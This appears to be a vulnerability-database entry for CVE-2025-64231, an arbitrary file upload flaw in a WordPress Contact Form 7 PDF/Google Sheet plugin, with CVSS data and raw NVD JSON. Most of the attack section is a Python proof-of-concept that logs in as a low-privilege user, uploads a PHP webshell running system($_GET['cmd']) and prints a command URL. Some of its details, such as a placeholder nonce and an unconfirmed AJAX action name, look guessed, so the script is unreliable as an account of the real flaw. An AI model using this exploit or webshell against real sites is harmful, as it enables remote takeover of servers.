Security Vulnerability Report
中文
CVE-2025-64231 CVSS 9.9 CRITICAL

CVE-2025-64231

Published: 2025-12-18 08:16:13
Last Modified: 2026-04-27 16:16:36

Description

Unrestricted Upload of File with Dangerous Type vulnerability in RedefiningTheWeb WordPress Contact Form 7 PDF, Google Sheet & Database rtwwcfp-wordpress-contact-form-7-pdf allows Using Malicious Files.This issue affects WordPress Contact Form 7 PDF, Google Sheet & Database: from n/a through <= 3.0.0.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

rtwwcfp-wordpress-contact-form-7-pdf <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64231 PoC - Arbitrary File Upload # Target: WordPress with rtwwcfp plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_nonce(login_html): # Extract WordPress nonce from login page import re match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', login_html) return match.group(1) if match else None def login(): # Step 1: Login to WordPress with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) return session if 'wp-admin' in resp.url or resp.status_code == 200 else None def upload_shell(session): # Step 2: Upload malicious PHP shell via vulnerable endpoint upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # PHP webshell content shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'file': ('shell.php', shell_content, 'application/octet-stream') } data = { 'action': 'rtwwcfp_upload_file', 'nonce': 'vulnerable_nonce_or_bypass' } response = session.post(upload_url, files=files, data=data) return response.json().get('url') if response.status_code == 200 else None def main(): print("[*] CVE-2025-64231 PoC - File Upload RCE") session = login() if not session: print("[-] Login failed") return print("[+] Logged in successfully") shell_url = upload_shell(session) if shell_url: print(f"[+] Shell uploaded: {shell_url}") print(f"[*] Execute command: {shell_url}?cmd=whoami") else: print("[-] Upload failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64231", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:12.670", "lastModified": "2026-04-27T16:16:35.953", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in RedefiningTheWeb WordPress Contact Form 7 PDF, Google Sheet & Database rtwwcfp-wordpress-contact-form-7-pdf allows Using Malicious Files.This issue affects WordPress Contact Form 7 PDF, Google Sheet & Database: from n/a through <= 3.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rtwwcfp-wordpress-contact-form-7-pdf/vulnerability/wordpress-wordpress-contact-form-7-pdf-google-sheet-database-plugin-3-0-0-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}